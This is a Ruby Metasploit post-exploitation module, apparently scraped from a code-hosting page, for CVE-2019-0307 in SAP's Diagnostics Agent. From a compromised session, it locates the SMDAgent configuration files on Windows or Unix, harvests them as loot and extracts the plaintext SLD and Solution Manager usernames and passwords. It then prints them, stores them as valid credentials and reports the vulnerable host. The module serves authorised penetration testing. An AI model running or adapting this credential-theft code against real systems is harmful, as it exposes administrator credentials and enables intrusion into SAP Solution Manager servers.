257 lines
8.2 KiB
Ruby
257 lines
8.2 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'resolv'
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
include Msf::Exploit::Local::SapSmdAgentUnencryptedProperty
|
|
|
|
SECSTORE_FILE = 'secstore.properties'.freeze
|
|
RUNTIME_FILE = 'runtime.properties'.freeze
|
|
|
|
WIN_PREFIX = 'c:\\usr\\sap\\DAA\\'.freeze
|
|
UNIX_PREFIX = '/usr/sap/DAA/'.freeze
|
|
|
|
WIN_SUFFIX = '\\SMDAgent\\configuration\\'.freeze
|
|
UNIX_SUFFIX = '/SMDAgent/configuration/'.freeze
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Diagnostics Agent in Solution Manager, stores unencrypted credentials for Solution Manager server',
|
|
'Description' => %q{
|
|
This module retrieves the `secstore.properties` file on a SMDAgent. This file contains the credentials
|
|
used by the SMDAgent to connect to the SAP Solution Manager server.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Yvan Genuer', # @_1ggy The researcher who originally found this vulnerability
|
|
'Vladimir Ivanov' # @_generic_human_ This Metasploit module
|
|
],
|
|
'Platform' => %w[bsd linux osx unix win],
|
|
'SessionTypes' => %w[meterpreter shell],
|
|
'References' => [
|
|
[ 'CVE', '2019-0307' ],
|
|
[ 'URL', 'https://conference.hitb.org/hitblockdown002/materials/D2T1%20-%20SAP%20RCE%20-%20The%20Agent%20Who%20Spoke%20Too%20Much%20-%20Yvan%20Genuer.pdf' ]
|
|
],
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_net_resolve_host
|
|
]
|
|
}
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [IOC_IN_LOGS],
|
|
'Reliability' => []
|
|
}
|
|
)
|
|
)
|
|
end
|
|
|
|
def run
|
|
case session.type
|
|
when 'meterpreter'
|
|
meterpreter = true
|
|
else
|
|
meterpreter = false
|
|
end
|
|
case session.platform
|
|
when 'windows'
|
|
windows = true
|
|
instances = dir(WIN_PREFIX)
|
|
else
|
|
windows = false
|
|
instances = dir(UNIX_PREFIX)
|
|
end
|
|
|
|
if instances.nil? || instances.empty?
|
|
fail_with(Failure::NotFound, 'SAP root directory not found')
|
|
end
|
|
|
|
instances.each do |instance|
|
|
next if instance == 'SYS'
|
|
|
|
next if instance.include? ' '
|
|
|
|
next if instance.include? '.'
|
|
|
|
next if instance.include? 'tmp'
|
|
|
|
if windows
|
|
runtime_properties_file_name = "#{WIN_PREFIX}#{instance}#{WIN_SUFFIX}#{RUNTIME_FILE}"
|
|
secstore_properties_file_name = "#{WIN_PREFIX}#{instance}#{WIN_SUFFIX}#{SECSTORE_FILE}"
|
|
else
|
|
runtime_properties_file_name = "#{UNIX_PREFIX}#{instance}#{UNIX_SUFFIX}#{RUNTIME_FILE}"
|
|
secstore_properties_file_name = "#{UNIX_PREFIX}#{instance}#{UNIX_SUFFIX}#{SECSTORE_FILE}"
|
|
end
|
|
|
|
runtime_properties = parse_properties_file(runtime_properties_file_name, meterpreter)
|
|
secstore_properties = parse_properties_file(secstore_properties_file_name, meterpreter)
|
|
|
|
next if runtime_properties.empty?
|
|
|
|
print_line
|
|
print_status("Instance: #{instance}")
|
|
print_status("Runtime properties file name: #{runtime_properties_file_name}")
|
|
print_status("Secstore properties file name: #{secstore_properties_file_name}")
|
|
|
|
sld_protocol = nil
|
|
sld_hostname = nil
|
|
sld_address = nil
|
|
sld_port = nil
|
|
sld_username = nil
|
|
sld_password = nil
|
|
|
|
smd_url = nil
|
|
smd_username = nil
|
|
smd_password = nil
|
|
|
|
# Parse runtime.properties file
|
|
runtime_properties.each do |property|
|
|
if property[:name].include?('sld.')
|
|
case property[:name]
|
|
when /hostprotocol/
|
|
sld_protocol = property[:value]
|
|
when /hostname/
|
|
sld_hostname = property[:value]
|
|
when /hostport/
|
|
sld_port = property[:value]
|
|
end
|
|
elsif property[:name].include?('smd.')
|
|
case property[:name]
|
|
when /url/
|
|
smd_url = property[:value].gsub(/\\:/, ':')
|
|
end
|
|
end
|
|
end
|
|
|
|
# Parse secstore.properties file
|
|
secstore_properties.each do |property|
|
|
if property[:name].include?('sld/')
|
|
case property[:name]
|
|
when /usr/
|
|
sld_username = property[:value]
|
|
when /pwd/
|
|
sld_password = property[:value]
|
|
end
|
|
elsif property[:name].include?('smd/')
|
|
case property[:name]
|
|
when /User/
|
|
smd_username = property[:value]
|
|
when /Password/
|
|
smd_password = property[:value]
|
|
end
|
|
end
|
|
end
|
|
|
|
# Print SLD properties
|
|
if !sld_protocol.nil? || !sld_hostname.nil? || !sld_port.nil? || !sld_username.nil? || !sld_password.nil?
|
|
print_line
|
|
print_status('SLD properties:')
|
|
print_status("SLD protocol: #{sld_protocol}") unless sld_protocol.nil?
|
|
unless sld_hostname.nil?
|
|
print_status("SLD hostname: #{sld_hostname}")
|
|
if meterpreter
|
|
if sld_hostname =~ Resolv::IPv4::Regex
|
|
sld_address = sld_hostname
|
|
else
|
|
begin
|
|
sld_address = session.net.resolve.resolve_host(sld_hostname)[:ip]
|
|
print_status("SLD address: #{sld_address}")
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
print_error("Failed to resolve SLD hostname: #{sld_hostname}")
|
|
end
|
|
end
|
|
end
|
|
end
|
|
print_status("SLD port: #{sld_port}") unless sld_port.nil?
|
|
print_good("SLD username: #{sld_username}") unless sld_username.nil?
|
|
print_good("SLD password: #{sld_password}") unless sld_password.nil?
|
|
end
|
|
|
|
# Print SMD properties
|
|
if !smd_url.nil? || !smd_username.nil? || !smd_password.nil?
|
|
print_line
|
|
print_status('SMD properties:')
|
|
print_status("SMD url: #{smd_url}") unless smd_url.nil?
|
|
print_good("SMD username: #{smd_username}") unless smd_username.nil?
|
|
print_good("SMD password: #{smd_password}") unless smd_password.nil?
|
|
end
|
|
|
|
# Store decoded credentials, report service and vuln
|
|
print_line
|
|
if sld_username.nil? || sld_password.nil?
|
|
print_error("File #{secstore_properties_file_name} read, but this file is likely encrypted or does not contain credentials. This SMDAgent is likely patched.")
|
|
else
|
|
# Store decoded credentials
|
|
print_good('Store decoded credentials for SolMan server')
|
|
if sld_address.nil? || sld_port.nil?
|
|
service_data = {}
|
|
else
|
|
service_data = {
|
|
origin_type: :service,
|
|
address: sld_address,
|
|
port: sld_port,
|
|
service_name: 'http',
|
|
protocol: 'tcp'
|
|
}
|
|
# Report service
|
|
report_service(
|
|
host: sld_address,
|
|
port: sld_port,
|
|
name: 'http',
|
|
proto: 'tcp',
|
|
info: 'SAP Solution Manager'
|
|
)
|
|
end
|
|
store_valid_credential(
|
|
user: sld_username,
|
|
private: sld_password,
|
|
private_type: :password,
|
|
service_data: service_data
|
|
)
|
|
# Report vulnerability
|
|
if meterpreter
|
|
agent_host = Rex::Socket.getaddress(session.sock.peerhost, true)
|
|
else
|
|
agent_host = session.session_host
|
|
end
|
|
report_vuln(
|
|
host: agent_host,
|
|
name: name,
|
|
refs: references
|
|
)
|
|
end
|
|
end
|
|
end
|
|
|
|
def parse_properties_file(filename, is_meterpreter)
|
|
properties = []
|
|
if file_exist?(filename)
|
|
properties_content = read_file(filename)
|
|
if properties_content.nil?
|
|
print_error("Failed to read properties file: #{filename}")
|
|
else
|
|
if is_meterpreter
|
|
agent_host = Rex::Socket.getaddress(session.sock.peerhost, true)
|
|
else
|
|
agent_host = session.session_host
|
|
end
|
|
loot = store_loot('smdagent.properties', 'text/plain', agent_host, properties_content, filename, 'SMD Agent properties file')
|
|
print_good("File #{filename} saved in: #{loot}")
|
|
properties = parse_properties(properties_content)
|
|
end
|
|
else
|
|
print_error("File: #{filename} does not exist")
|
|
end
|
|
properties
|
|
end
|
|
|
|
end
|